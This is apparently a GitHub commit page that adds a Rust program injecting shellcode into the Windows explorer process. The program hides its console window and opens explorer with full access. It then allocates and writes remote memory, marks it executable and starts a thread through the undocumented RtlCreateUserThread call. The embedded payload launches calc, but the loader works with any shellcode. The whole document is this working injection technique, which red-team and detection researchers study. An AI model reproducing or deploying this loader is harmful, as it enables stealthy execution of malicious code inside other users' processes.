Skip to content

Commit 4fdc00a

Browse files
author
test
committed
add rtl_create_user_thread
1 parent 5f871b9 commit 4fdc00a

File tree

2 files changed

+99
-0
lines changed

2 files changed

+99
-0
lines changed

rtl_create_user_thread/Cargo.toml

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
[package]
2+
name = "rtl_create_user_thread"
3+
version = "0.1.0"
4+
edition = "2021"
5+
6+
# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
7+
8+
[dependencies]
9+
sysinfo = "0.28.3"
10+
windows-sys = { version = "0.45.0", features = ["Win32_System_Threading", "Win32_Foundation", "Win32_System_Memory", "Win32_System_Diagnostics_Debug", "Win32_System_LibraryLoader"] }

rtl_create_user_thread/src/main.rs

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
#![windows_subsystem = "windows"]
2+
3+
use std::ffi::c_void;
4+
use std::mem::transmute;
5+
use std::ptr::{null, null_mut};
6+
use sysinfo::{PidExt, ProcessExt, System, SystemExt};
7+
use windows_sys::Win32::Foundation::{CloseHandle, FALSE, HANDLE};
8+
use windows_sys::Win32::System::Diagnostics::Debug::WriteProcessMemory;
9+
use windows_sys::Win32::System::LibraryLoader::{GetProcAddress, LoadLibraryA};
10+
use windows_sys::Win32::System::Memory::{
11+
VirtualAllocEx, VirtualProtectEx, MEM_COMMIT, MEM_RESERVE, PAGE_EXECUTE, PAGE_READWRITE,
12+
};
13+
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};
14+
15+
static SHELLCODE: [u8; 98] = *include_bytes!("../../w64-exec-calc-shellcode-func.bin");
16+
static SIZE: usize = SHELLCODE.len();
17+
18+
#[cfg(target_os = "windows")]
19+
fn main() {
20+
let mut old = PAGE_READWRITE;
21+
22+
let mut system = System::new();
23+
system.refresh_processes();
24+
let pid = system
25+
.processes_by_name("explorer")
26+
.next()
27+
.expect("no process!")
28+
.pid()
29+
.as_u32();
30+
31+
unsafe {
32+
let ntdll = LoadLibraryA("ntdll.dll\0".as_ptr());
33+
let fn_rtl_create_user_thread = GetProcAddress(ntdll, "RtlCreateUserThread\0".as_ptr());
34+
35+
let rtl_create_user_thread: extern "C" fn(
36+
HANDLE,
37+
isize,
38+
isize,
39+
isize,
40+
isize,
41+
isize,
42+
*mut c_void,
43+
isize,
44+
*mut HANDLE,
45+
isize,
46+
) = transmute(fn_rtl_create_user_thread);
47+
48+
let handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
49+
if handle == 0 {
50+
eprintln!("OpenProcess failed!");
51+
return;
52+
}
53+
54+
let dest = VirtualAllocEx(
55+
handle,
56+
null(),
57+
SIZE,
58+
MEM_COMMIT | MEM_RESERVE,
59+
PAGE_READWRITE,
60+
);
61+
if dest == null_mut() {
62+
eprintln!("VirtualAllocEx failed!");
63+
return;
64+
}
65+
66+
let res = WriteProcessMemory(
67+
handle,
68+
dest,
69+
SHELLCODE.as_ptr() as *const c_void,
70+
SIZE,
71+
null_mut(),
72+
);
73+
if res == FALSE {
74+
eprintln!("WriteProcessMemory failed!");
75+
return;
76+
}
77+
78+
let res = VirtualProtectEx(handle, dest, SIZE, PAGE_EXECUTE, &mut old);
79+
if res == FALSE {
80+
eprintln!("VirtualProtectEx failed!");
81+
return;
82+
}
83+
84+
let mut thraed: HANDLE = 0;
85+
rtl_create_user_thread(handle, 0, 0, 0, 0, 0, dest, 0, &mut thraed, 0);
86+
87+
CloseHandle(handle);
88+
}
89+
}

0 commit comments

Comments
 (0)